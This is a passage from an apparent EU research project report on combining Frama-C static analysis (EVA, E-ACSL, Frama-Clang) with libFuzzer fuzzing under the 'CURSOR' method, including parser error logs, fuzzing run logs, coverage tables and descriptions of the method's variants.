can see that the “if ! (c1==c2)” statement is never executed, which confirms that the two strings 
are rigorously the same: 
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Figure 12: EVA analyser - while loop 

 

And indeed the value returned by the function is zero as expected (see the test variable in the 
lower side of the window panel below): 
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Figure 13: EVA analyser - test variable 

 

This brief and simple example shows that it is possible to use Frama-C EVA in order to investigate 
and inspect the code statements and variables when traversed by a tainted/erroneous input 
obtained by fuzzing. This means was of course duly used during our Use Case realization, thus 
often avoiding complex GDB debugger investigations at runtime on fuzzer-generated scenarios. 

 

Once again, the integration of the file generated by the fuzzing tool (and containing the dreaded 
input) into the source code is quite straightforward in our example simple code. This may require 
more effort on “real life” cases. 

 

In some cases, it can be useful to use the –eva-interpreter-mode proposed by EVA plug-in 
to propagate a single value (and not an interval of potential values) to expose some buggy 
behaviours in the code. But this is limited to code without calls to library functions (see EVA 
documentation for more details). 

 

 

4.6 Frama-Clang explorations 

Thanks to the developments realized by CEA in the context of VESSEDIA, we are also able to 
initiate some analyses on C++ source code using Frama-Clang (presented in CEA WP2 
deliverables). 
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Typically, CEA partner improved Frama-Clang tool capabilities in order to parse most of the Arash 
Partow’s tcpproxy_server C++ open source code29 (this code shares some common features with 
our targeted code, in particular the references to Boost libraries, Standard Template Library (STL), 
…). 

These references were difficult to parse by Frama-Clang: even if most of the code can be now 
analysed by the Kernel of Frama-C, there are still some C++ constructs not taken into account in 
the current Frama-Clang version, like atomic attribute not handled yet: 

 

 

[...] 

 

inline  

CLII.cpp:102847:11: note: previous definition is here 

namespace __cxx11 { 

          ^ 

Unsupported atomic builtin:AtomicExpr 0x55c4c200d428 <CLII.cpp:27390:5, col:38> 

'boost::int_least32_t':'int' 

|-ImplicitCastExpr 0x55c4c200d410 <col:29> 'atomic_int_least32_t *' <LValueToRValue> 

| `-DeclRefExpr 0x55c4c200d350 <col:29> 'atomic_int_least32_t *' lvalue ParmVar 

0x55c4c200d098 'pw' 'atomic_int_least32_t *' 

|-IntegerLiteral 0x55c4c200d398 <col:36> 'int' 0 

`-IntegerLiteral 0x55c4c200d378 <col:33> 'int' 1 

 

Aborting 

[kernel] User Error: Failed to parse C++ file. See Clang messages for more information 

[kernel] User Error: stopping on file "CLII.cpp" that has errors. 

[kernel] Frama-C aborted: invalid user input. 

 

 

At DA, we tried to apply the development version of Frama-Clang provided by CEA in the scope of 
VESSEDIA, on several pieces of code, but we obtain the same issues due to the widespread use 
of STL library references and the presence of problematic constructs. 

Some other issues were also found during our assessment (a few of them are presented in the 
Annex 5), on representative code extracts, when parsing uninstantiated template specialization: 

Typically, a code like: 

 

#include<iostream> 

#include<forward_list> 

using namespace std; 

 

int main() 

{ 

    forward_list<int> flist1; 

    forward_list<int> flist2; 

 

    flist1.assign({1, 2, 3}); 

 

    flist2.assign(5, 10); 

 

    for (int&a : flist1) 

        cout << a << " "; 

    cout << endl; 

     

    for (int&b : flist2) 

        cout << b << " "; 

                                                

29 https://www.partow.net/programming/tcpproxy/ and 

https://github.com/ArashPartow/proxy/blob/master/  

https://www.partow.net/programming/tcpproxy/
https://github.com/ArashPartow/proxy/blob/master/
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    cout << endl; 

 

    return 0; 

} 

 

when analyzed by Frama-Clang (after pre-processing with: clang++-7 -c -save-temps 

fwdlist.cpp -std=c++14) with the command: 

 

frama-c fwdlist.ii -cxx-cstdlib-path /usr/lib/gcc/x86_64-linux-gnu/7 -cxx-c++stdlib-path 

/usr/lib/gcc/x86_64-linux-gnu/7 -cxx-nostdinc -fclang-cpp-extra-args="-std=c++14" 

 

(or even with standards c++11, or c++17, or c++2a) 

raises the following error: 

 

[kernel] Parsing fwdlist.ii (external front-end) 

<invalid loc>: Unsupported Type (uninstantiated template specialization):allocator<type-

parameter-0-0> 

Aborting 

[kernel] User Error: Failed to parse C++ file. See Clang messages for more information 

[kernel] User Error: stopping on file "fwdlist.ii" that has errors. 

[kernel] Frama-C aborted: invalid user input 

 

 

This kind of issues is still under investigation at CEA at the time of writing. 

Regarding the progress made on Frama-Clang during VESSEDIA project, DA is still confident that 
these limitations in terms of covered C++ features will be addressed soon by CEA, and will permit 
to process wider families of source code, allowing users to later apply CURSOR approach 
(including fuzzing techniques) to C++ code. 

 

4.7 Metrics and Conclusion 

As planned in the DoA of VESSEDIA, some metrics about the code (extracted from our Use Case) 
analyzed during the project have to be exposed. Most of these metrics are generated by Frama-C. 

As we applied CURSOR method to several sub-case studies, different values could be provided 
here, but for the sake of clarity we choose to present the most representative ones, in which we 
distinguish original code from CURSOR-ised ones: 

 original code (before CURSOR) code CURSOR-ised 

Defined functions 125 203 

Undefined functions 81 100 

Sloc  2226 5501 

Decision point  560 582 

Global variables  9 261 

If  554 576 

Loop  24 24 

Goto  64 64 

Assignment  776 1474 

Function  206 303 

Function call  521 3087 

Pointer dereferencing  219 338 

Cyclomatic complexity  685 785 
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 original code (before CURSOR) code CURSOR-ised 

ACSL annotations (from 
EVA and other plug-ins) 

 546 

E-ACSL plug-in specific 
Sloc 

 2812 

User defined counter-
measures Sloc 

 463 

 

On these code, we perform several separate analyses on slices generated by Frama-C Slicer: 

Number of slices of code analyzed by LibFuzzer (with unrolling): 3 

Average LoC of the slices:      ~900 

The slices are also unrolled in order to apply the loop transformation explained earlier in this 
chapter. 

On each of these slices (partially covering the same statements of code30), we apply the 
LLVM/LibFuzzer. These experimentations yield inputs scenarios violating some of the security 
properties (they are here manually added, but mostly “inspired” by the EVA analysis results). 

Most of these scenarios are due to the initial state conditions not precise enough in the test 
harnesses, thus generating (functionally unjustified) over-approximations. For some confidentiality 
reasons, we do not get into details, but will provide as example a typical output from the fuzzer – 
for 2 concurrent jobs – after several days of computation. 

These results are obtained on this configuration: 

8 Gb RAM 

model name    : Intel(R) Core(TM) i5-3320M CPU @ 2.60GHz  

cpu MHz        : 1799.680  

 

And on a typical slice from our Use Case code, LibFuzzer yields the following results (the 2 jobs’ 
results are exposed): 

INFO: Seed: 3036624261 

INFO: Loaded 1 modules   (39 inline 8-bit counters): 39 [0x684302, 0x684329),  

INFO: Loaded 1 PC tables (39 PCs): 39 [0x473420,0x473690),  

INFO:       33 files found in sorties/ 

INFO: seed corpus: files: 33 min: 1b max: 399b total: 5547b rss: 23Mb 

#34 INITED cov: 12 ft: 14 corp: 6/500b lim: 4 exec/s: 0 rss: 23Mb 

#141 REDUCE cov: 12 ft: 14 corp: 6/496b lim: 4 exec/s: 0 rss: 23Mb L: 243/247 MS: 2 

ShuffleBytes-EraseBytes- 

#3173 REDUCE cov: 12 ft: 14 corp: 6/493b lim: 6 exec/s: 0 rss: 23Mb L: 244/244 MS: 2 

ChangeByte-CrossOver- 

#6405 REDUCE cov: 12 ft: 14 corp: 6/492b lim: 8 exec/s: 0 rss: 23Mb L: 243/243 MS: 2 

EraseBytes-CopyPart- 

#8082 REDUCE cov: 12 ft: 14 corp: 6/489b lim: 8 exec/s: 0 rss: 23Mb L: 240/243 MS: 2 

ShuffleBytes-EraseBytes- 

#8323 REDUCE cov: 12 ft: 14 corp: 6/486b lim: 8 exec/s: 0 rss: 23Mb L: 237/243 MS: 1 

EraseBytes- 

#8640 REDUCE cov: 12 ft: 14 corp: 6/482b lim: 8 exec/s: 0 rss: 23Mb L: 233/243 MS: 2 

CopyPart-EraseBytes- 

#251579 REDUCE cov: 12 ft: 14 corp: 6/479b lim: 247 exec/s: 0 rss: 23Mb L: 240/240 

MS: 4 EraseBytes-CopyPart-ShuffleBytes-CopyPart- 

#254052 REDUCE cov: 12 ft: 14 corp: 6/478b lim: 247 exec/s: 0 rss: 23Mb L: 239/239 

MS: 3 ShuffleBytes-ShuffleBytes-EraseBytes- 

#261203 REDUCE cov: 12 ft: 14 corp: 6/472b lim: 254 exec/s: 0 rss: 23Mb L: 233/233 

MS: 1 EraseBytes- 

                                                

30 The different slices of code are not disjoint. 
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#269294 REDUCE cov: 13 ft: 15 corp: 7/730b lim: 258 exec/s: 0 rss: 23Mb L: 258/258 

MS: 1 CopyPart- 

#269931 REDUCE cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 0 rss: 23Mb L: 253/253 

MS: 2 ShuffleBytes-EraseBytes- 

#276515 REDUCE cov: 13 ft: 15 corp: 7/722b lim: 258 exec/s: 0 rss: 23Mb L: 250/250 

MS: 4 ChangeBit-CopyPart-EraseBytes-CopyPart- 

#313846 REDUCE cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 0 rss: 23Mb L: 249/249 

MS: 1 EraseBytes- 

#1048576 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 524288 rss: 24Mb 

#2097152 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 419430 rss: 24Mb 

#4194304 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 419430 rss: 24Mb 

#8388608 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 419430 rss: 24Mb 

#16777216 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 409200 rss: 24Mb 

#33554432 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 404270 rss: 24Mb 

#67108864 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 394758 rss: 24Mb 

#134217728 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 387912 rss: 24Mb 

#268435456 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 381300 rss: 24Mb 

#536870912 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 376223 rss: 24Mb 

#1073741824 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 372827 rss: 24Mb 

#2147483648 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 367971 rss: 24Mb 

#4294967296 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 363518 rss: 24Mb 

#8589934592 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 358137 rss: 24Mb 

#17179869184 pulse  cov: 13 ft: 15 corp: 7/721b lim: 258 exec/s: 359419 rss: 24Mb 

#34359738368 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 358767 rss: 24Mb 

==1212== libFuzzer: run interrupted; exiting 

INFO: Seed: 3036767923 

INFO: Loaded 1 modules   (39 inline 8-bit counters): 39 [0x684302, 0x684329),  

INFO: Loaded 1 PC tables (39 PCs): 39 [0x473420,0x473690),  

INFO:       33 files found in sorties/ 

INFO: seed corpus: files: 33 min: 1b max: 399b total: 5547b rss: 23Mb 

#34 INITED cov: 12 ft: 14 corp: 6/500b lim: 4 exec/s: 0 rss: 23Mb 

#236 REDUCE cov: 12 ft: 14 corp: 6/490b lim: 4 exec/s: 0 rss: 23Mb L: 237/247 MS: 2 

CopyPart-EraseBytes- 

#818 REDUCE cov: 12 ft: 14 corp: 6/477b lim: 4 exec/s: 0 rss: 23Mb L: 234/237 MS: 2 

ChangeBit-EraseBytes- 

#4590 REDUCE cov: 12 ft: 14 corp: 6/476b lim: 6 exec/s: 0 rss: 23Mb L: 233/237 MS: 2 

EraseBytes-CopyPart- 

#261981 REDUCE cov: 13 ft: 15 corp: 7/730b lim: 258 exec/s: 0 rss: 23Mb L: 254/254 

MS: 1 CopyPart- 

#263828 REDUCE cov: 13 ft: 15 corp: 7/727b lim: 258 exec/s: 0 rss: 23Mb L: 251/251 

MS: 2 CMP-EraseBytes- DE: "\x00\x00\x00\x00"- 

#282585 REDUCE cov: 13 ft: 15 corp: 7/726b lim: 258 exec/s: 0 rss: 23Mb L: 250/250 

MS: 2 EraseBytes-CopyPart- 

#310367 REDUCE cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 0 rss: 23Mb L: 249/249 

MS: 2 ShuffleBytes-EraseBytes- 

#1048576 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 524288 rss: 24Mb 

#2097152 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 419430 rss: 24Mb 

#4194304 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 419430 rss: 24Mb 

#8388608 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 419430 rss: 24Mb 

#16777216 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 419430 rss: 24Mb 

#33554432 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 404270 rss: 24Mb 

#67108864 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 397093 rss: 24Mb 

#134217728 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 390167 rss: 24Mb 

#268435456 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 384027 rss: 24Mb 

#536870912 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 379146 rss: 24Mb 

#1073741824 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 375565 rss: 24Mb 

#2147483648 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 370319 rss: 24Mb 

#4294967296 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 365871 rss: 24Mb 

#8589934592 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 360467 rss: 24Mb 

#17179869184 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 361704 rss: 24Mb 

#34359738368 pulse  cov: 13 ft: 15 corp: 7/725b lim: 258 exec/s: 361555 rss: 24Mb 

==1211== libFuzzer: run interrupted; exiting 

 

 

This means a bit more than 34 billion executions of the sliced code are performed, with an average 
execution speed of ~ 360k/s (the whole computations are done in ~ 24 hours). As mentioned, a 
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corpus of 33 files is initially provided before the fuzzing: these first scenarios come from previous 
fuzzing stages of other code slices in the same module from our Use Case. 

 

The same experiments could not be done with AFL due to execution issues met with E-
ACSL: it is worth mentioning that the in-process approach yielded by LibFuzzer is with no 
doubt more powerful than loading + executing the whole runtime application. This is 
particularly true when dealing with socket applications like in a network gateway where lots 
of initializations are performed at startup.  

 

In this report, the coverage is only presented in its aggregated format. In the following, we expose 
a small part of the coverage file-by-file, and just after, the coverage for all the fuzzer-generated 
files processed at once. This will not be commented further, but gives an illustration of the material 
provided by the fuzzer on which the development and/or verification teams have to deal with to 
investigate potential bugs. 

We mention above “potential bugs” because in most cases (>98%), the generated scenarios 
(several dozens per case study) might not be exploitable in real life (due to initial conditions and 
constraints not precisely specified before static analysis, as explained earlier).  
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Scenario file-by-file coverage analysis (by LLVM-COV tool): 
 
===== 0228dd1dcc4503f696195c40308f17b3f9bfbec1 

PourCoverage is executing ... sorties/0228dd1dcc4503f696195c40308f17b3f9bfbec1 

Done:    sorties/0228dd1dcc4503f696195c40308f17b3f9bfbec1: (399 bytes) 

PourCoverage: running 1 inputs 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                     48                 8    83.33%           1                 0   100.00%          17                 

0   100.00% 

sliced.c                          576               208    63.89%          89                 1    88.89%         878                

42    95.22% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                             624               216    65.38%          90                 1    90.00%         895                

42    95.31% 

===== 115f68c06e3c1b7a0094f2fb38f1fe253f2a2433 

PourCoverage is executing ... sorties/115f68c06e3c1b7a0094f2fb38f1fe253f2a2433 

Done:    sorties/115f68c06e3c1b7a0094f2fb38f1fe253f2a2433: (249 bytes) 

PourCoverage: running 1 inputs 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                     48                 8    83.33%           1                 0   100.00%          17                 

0   100.00% 

sliced.c                          576               184    68.06%          89                 0   100.00%         878                

15    98.29% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                             624               192    69.23%          90                 0   100.00%         895                

15    98.32% 

===== 1acce513091e3b0c50f260b0b05a49ab7d2c7a43 

PourCoverage is executing ... sorties/1acce513091e3b0c50f260b0b05a49ab7d2c7a43 

Done:    sorties/1acce513091e3b0c50f260b0b05a49ab7d2c7a43: (254 bytes) 

PourCoverage: running 1 inputs 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                     48                 8    83.33%           1                 0   100.00%          17                 

0   100.00% 
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sliced.c                          576               208    63.89%          89                 1    88.89%         878                

42    95.22% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                             624               216    65.38%          90                 1    90.00%         895                

42    95.31% 

===== 209750a369cdf7d8857c4600cc01ea1d32bcefb9 

PourCoverage is executing ... sorties/209750a369cdf7d8857c4600cc01ea1d32bcefb9 

Done:    sorties/209750a369cdf7d8857c4600cc01ea1d32bcefb9: (234 bytes) 

PourCoverage: running 1 inputs 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                     48                 8    83.33%           1                 0   100.00%          17                 

0   100.00% 

sliced.c                          576               152    73.61%          89                 0   100.00%         878                

10    98.86% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                             624               160    74.36%          90                 0   100.00%         895                

10    98.88% 

===== 21606782c65e44cac7afbb90977d8b6f82140e76 

= 

PourCoverage is executing ... sorties/21606782c65e44cac7afbb90977d8b6f82140e76 

Done:    sorties/21606782c65e44cac7afbb90977d8b6f82140e76: (1 bytes) 

PourCoverage: running 1 inputs 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                     48                 8    83.33%           1                 0   100.00%          17                 

0   100.00% 

sliced.c                          576               376    34.72%          89                 5    44.44%         878               

125    29.78% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                             624               384    38.46%          90                 5    50.00%         895               

125    35.90% 

===== 24edcaaf855369c6dc44481b37f52156517df35f 

PourCoverage is executing ... sorties/24edcaaf855369c6dc44481b37f52156517df35f 

Done:    sorties/24edcaaf855369c6dc44481b37f52156517df35f: (255 bytes) 

PourCoverage: running 1 inputs 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 
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------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                     48                 8    83.33%           1                 0   100.00%          17                 

0   100.00% 

sliced.c                          576               184    68.06%          89                 0   100.00%         878                

15    98.29% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                             624               192    69.23%          90                 0   100.00%         895                

15    98.32% 

===== 29d97538d458f3f16e05282d34aa8d0f6e55cd65 

PourCoverage is executing ... sorties/29d97538d458f3f16e05282d34aa8d0f6e55cd65 

Done:    sorties/29d97538d458f3f16e05282d34aa8d0f6e55cd65: (249 bytes) 

PourCoverage: running 1 inputs 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                     48                 8    83.33%           1                 0   100.00%          17                 

0   100.00% 

sliced.c                          576               184    68.06%          89                 0   100.00%         878                

15    98.29% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                             624               192    69.23%          90                 0   100.00%         895                

15    98.32% 

===== 3b6a49d00abc3a2ffd4e67ba01fc871155beb4b0 

PourCoverage is executing ... sorties/3b6a49d00abc3a2ffd4e67ba01fc871155beb4b0 

Done:    sorties/3b6a49d00abc3a2ffd4e67ba01fc871155beb4b0: (244 bytes) 

PourCoverage: running 1 inputs 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                     48                 8    83.33%           1                 0   100.00%          17                 

0   100.00% 

sliced.c                          576               152    73.61%          89                 0   100.00%         878                

10    98.86% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                             624               160    74.36%          90                 0   100.00%         895                

10    98.88% 

===== 4ac68dfc439677ce2e696580a5f5142f7331965a 

PourCoverage is executing ... sorties/4ac68dfc439677ce2e696580a5f5142f7331965a 

Done:    sorties/4ac68dfc439677ce2e696580a5f5142f7331965a: (235 bytes) 
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PourCoverage: running 1 inputs 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                     48                 8    83.33%           1                 0   100.00%          17                 

0   100.00% 

sliced.c                          576               152    73.61%          89                 0   100.00%         878                

10    98.86% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                             624               160    74.36%          90                 0   100.00%         895                

10    98.88% 

 

... / ... 

 

The consolidated coverage report for the whole set of scenarios generated or hand-written is as follows (LLVM-COV tool): 

 

Filename                      Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed 

Lines     Cover 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

PourCoverage.c                      6                 1    83.33%           1                 0   100.00%          17                 

0   100.00% 

sliced.c                           72                 8    88.89%           9                 0   100.00%         878                 

0   100.00% 

------------------------------------------------------------------------------------------------------------------------------------

------------- 

TOTAL                              78                 9    88.46%          10                 0   100.00%         895                 

0   100.00% 

 

Note that files may be 100% covered in terms of lines, but not in terms of regions, because some lines may contain several 
expressions/statements which could be only partially covered.  

To understand this point which could be a bit confusing at a glance, let’s take for instance the following “if” statement written as a single 
line:  

... 

if(my_condition) do_something(); 
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... 

“my_condition” could be evaluated as false for all the generated executions, and then “do_something()” will never be executed. The line will 

be then considered as covered by LLVM-COV, while the statement just after won’t. This appears clearly when using the “llvm-cov show” 
option, exposing the code with its coverage line-by-line, and (with a slight change in the coloured font) region-by-region. 
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CURSOR only approach 

In this chapter, we exposed several issues and limitations when trying to couple static analysis 
tools like Frama-C, with dynamic analysis by fuzzing. However, it is still possible to straightfully 
apply the CURSOR method on an embeddable version of a given source code, then automatically 
implementing some defensive programming behaviours (like counter-measures) triggered in case 
of cybersecurity property violation at runtime. Doing so, we ensure that in case of detection of a 
dreaded event during the execution, the possible exploit could not propagate any longer into the 
application and/or will be re-directed to a counter-measure like a logout of the user, a 
disconnection of the network or a shutdown of a service, and so on. At least, the event will be 
logged into a file for further investigation.  

This is the first intent of CURSOR, as defined at the end of FP7/STANCE project, and also 
experimented during VESSEDIA project. 

In WP5, the detection of cybersecurity issues could not be done thanks to a fuzzer on the whole 
application for the reasons exposed earlier, but only on smaller slices of code. By using a 
CURSOR-ised source code, it is however possible to apply the test cases defined by the 
development team for classical verification purposes, observe the behaviour of the application 
during integration phase or even into operations. As soon as (during an execution test) a 
safety/security property will be breached, there will be some means for the development team to 
be aware of it, with hopefully sufficient information to investigate the found issue. 
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Chapter 5 CURSOR method updates 

CURSOR method was initially defined at the end of FP7/STANCE project. A reminder is proposed 
in Annex 2 of this report.  

At the beginning of VESSEDIA project, DA refined this first rough definition, adding an important 
feature which is the coupling with dynamic techniques like fuzzing (techniques classically applied 
during cybersecurity pentestings). 

The objectives are two-fold. At first, dynamic (testing) approaches is expected to mitigate static 
methods, and vice versa. As commonly intended, testing/fuzzing activities cannot deal with large 
input domains of value, they only process some samples chosen with more or less efficiency. 
However, when a fuzzer finds a bug, it is highly probable that this is a real one (unless the input 
values – or their combinations - are randomly chosen out of the “real-life” input range). On the 
contrary, formal methods and tools deal with – briefly said – “mathematical” intervals of values. 
This approach permits to comply with logical soundness: a potential weakness in the source code 
will be systematically raised. The counterpart is that many of these “bugs” raised might be only 
spurious and may cost a lot of time and expertise to analyse. 

The second fold is about current usage in software industry, where testing activities are still a must. 
Covering as far as possible an application structure, and potentially a substantial part of the state 
space which is reachable from realistic input domains provides a certain level of confidence in the 
software, when combined with good development practices. This confidence is only empirical, and 
in practice might be quite weak regarding the experience: support history on software for bug fixes 
and evolutions is part of the software “market”, for both solution providers, editors, and finally 
customers who continuously look for new features and innovation. In this context, CURSOR 
method is intended to draw attention of developers on the benefits of static analysis, through its 
combination with fuzzing dynamic techniques. 

 

For both communities of static and dynamic practionners, anchor points can be easily found in both 
sides. Typically, for testers, CURSOR is intended to progressively bring them the advantages of 
static approaches while providing them with the best techniques of dynamic fuzzing. 

In the following, we present innovative compositions of the static and dynamic coupling 
approaches defended in CURSOR. 

 

5.1 Basic method 

This approach is the initial one presented in FP7/STANCE. The reader will find all useful 
explanations in the Annex 2. 
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Figure 14: Basic CURSOR approach 

 

In the figure above, and in the following CURSOR different flavours below, “Complementary 
Security Properties” task encompasses Frama-C RTE (or EVA) plug-in application, in-house tools 
and plug-ins for syntactic analysis, manual review, semi-formal semantical analyses (applied on 
models), ..., all of them contributing to define security properties expressed in ACSL language. 

 

5.2 CURSOR “Embedded” 

In this complementary version of CURSOR, the annotated/instrumented code is embedded directly 
in the device/system. There is no need to fuzz it as CURSOR provides defensive programming that 
will be executed in case the corresponding security property is violated.  
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Figure 15: CURSOR “Embedded” 

 

The advantage of this approach is that the effort is minimalized. There is even no obligation to 
formally verify the security functions (counter-measures), if dully reviewed and justified by experts, 
in particular if these functions are simple enough, and development good practices are duly 
applied.  

 

5.3 CURSOR “Consolidated” 

The last consideration in the paragraph 5.2 above may not be often applicable: software is more 
and more sophisticated, and may require security function hierarchies for which formal proofs are 
clearly relevant. 
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Figure 16: CURSOR “Consolidated” 

 

Applying WP on counter-measure function specifications was experimented during FP7/STANCE 
project, and will not be detailed in this report. However, the level of expertise needed to apply 
efficiently WP is not always considered as affordable:  widespreading these techniques is still 
challenging for development teams. Important skills and a deep understanding of formal 
verification are required to discharge the generated proof obligations. It is worth noting that 
expressing the security properties in terms of ACSL properties can be also challenging, especially 
for temporal properties.  

For these temporal properties, we plan in the future to experiment the Frama-C Aoraï plug-in31, as 
it is known to be able to tackle such a kind of specification. 

 

5.4 CURSOR “Fuzzed” 

This version of CURSOR is directly issued from the previous Chapter 4 in which, step by step, we 
presented how Frama-C generated annotations and instrumentation could add (to the original 

source code) new control flows (i.e. security properties translated as “if-else” statements for 
short): these new flows in the code will be seen as targets for evolutionary fuzzers when attempting 
to cover the whole code structure. 

                                                

31 http://frama-c.com/aorai.html 
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Figure 17: CURSOR “Fuzzed” 

 

This approach is the privileged one if the user looks for almost full automation. However, at the 
time of writing, this approach could not be applied to our entire Use Case as E-ACSL plug-in raises 
exceptions at runtime when coupled with fuzzers (AFL, LibFuzzer, …), visibly due to (double) 
memory shadowing issues (fuzzer and E-ACSL apply separate memory change tracking). Some 
further investigations are on the way at CEA, and DA is still confident that these issues will be fixed 
in particular in the context of the forthcoming new E-ACSL plug-in architecture, or in case of 
development of ad-hoc evolutionary code fuzzer with different shadow memory mechanisms. 

Note that to alleviate the burden of annotations generated by the different analysis plug-ins like 
EVA and RTE, it is possible to perform a global automated WP proof phases which is expected to 
discharge (i.e. validate) some alarms, and thus decrease the number of annotations to translate 
into executable statements. This has of course a deep impact on performance when fuzzing as 
presented in §4. 
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Figure 18: CURSOR “Proved and Fuzzed” 

 

5.5 CURSOR “Unroll-for-Fuzz” 

We also investigated other ways to obtain smart contributions of Frama-C platform usage, and 
found an application of Frama-C Kernel to the original source code, typically by unrolling the loops 
in the code (see §4.4). By these means, the - “greedy” - fuzzer is led to cover the new control flows 
generated from the unfolding of the loop statements: for each step of the original loop, input data 
scenarios are then discovered much faster in order to (structurally) cover these statements, as we 
experimented during our Use Case realization. 
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Figure 19: CURSOR “Unroll-for-Fuzz” 

 

This approach is presented and illustrated in details earlier, in §4.4 “CPU time and coverage 
considerations”. 

 

5.6 Other CURSOR / Frama-C / Fuzzer Combinations? 

Of course, the list of possible combinations above is not exhaustive. It is presented here as an 
incitement for the reader to adapt the approach to its own industrial development processes. 

The adaptations could be made regarding various cost/skills criteria: amount of expertise needed, 
(annotation or calculus) time available for the V&V, constraints in terms of computing performance 
(fuzzing could be highly CPU resource consuming), code size and memory (shadowing) foot-print 
limitations, etc. 

Typically, in paragraph 4.5, we presented for instance the re-injection of a bug discovered by a 
fuzzer, into a Frama-C EVA analysis, where the (generated bug scenario) input values are 
propagated through the code by abstract interpretation, highlighting some cybersecurity 
weaknesses in the statements, and making easier the grasp of the vulnerabilities.  

Frama-C is designed as a general purpose tool for code static analysis and transformations. 
Different usages are envisaged to apply it into our future operational programs. 
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Chapter 6 Using semi-formal approaches 

In the scope of VESSEDIA, we explored the use of semi-formal tools, in particular, the Papyrus-
Diversity tool chain, proposed by CEA. 

At first, our focus is on Papyrus Software Designer32 whose development is led by CEA. This tool 
is defined as follows: 

 

Papyrus designer is an extension of the UML Papyrus editor. It supports the software design by 
providing code generation from models including embedded and real-time systems as potential 
targets. It does this at two different levels of abstraction. 

- Direct code generation for a specific programming language. Currently, C++ and Java are 
supported, C will be supported soon. The code generator also supports reverse and roundtrip code 
generation. 

 Java code generation 

 Java code reverse 

 C++ code generation 

- Support for component-based models:  in this case, the generation starts from a model that 
includes the definition of software components, hardware nodes and deployment information. The 
latter consists of a definition of the instances of components and nodes and an allocation between 
these. Code generation is done by a sequence of transformations steps. The model transformation 
takes care of some platform specific aspects (e.g. communication mechanisms or thread 
allocation), based on non-functional properties. This is complementary with the upcoming Papyrus 
architect that can create an allocation based on modelled analysis data such as period length or 
worst case execution times. 

 

For the DA’s Use Case, as the Gateway code cannot be generated - it is mostly composed of 
existing pieces of C software -, we focused on potential future usage of Papyrus Software 
Designer, and its extension Diversity. 

Diversity is defined as33: 

[...] a multi-purpose and customizable platform for formal analysis based on symbolic execution. 
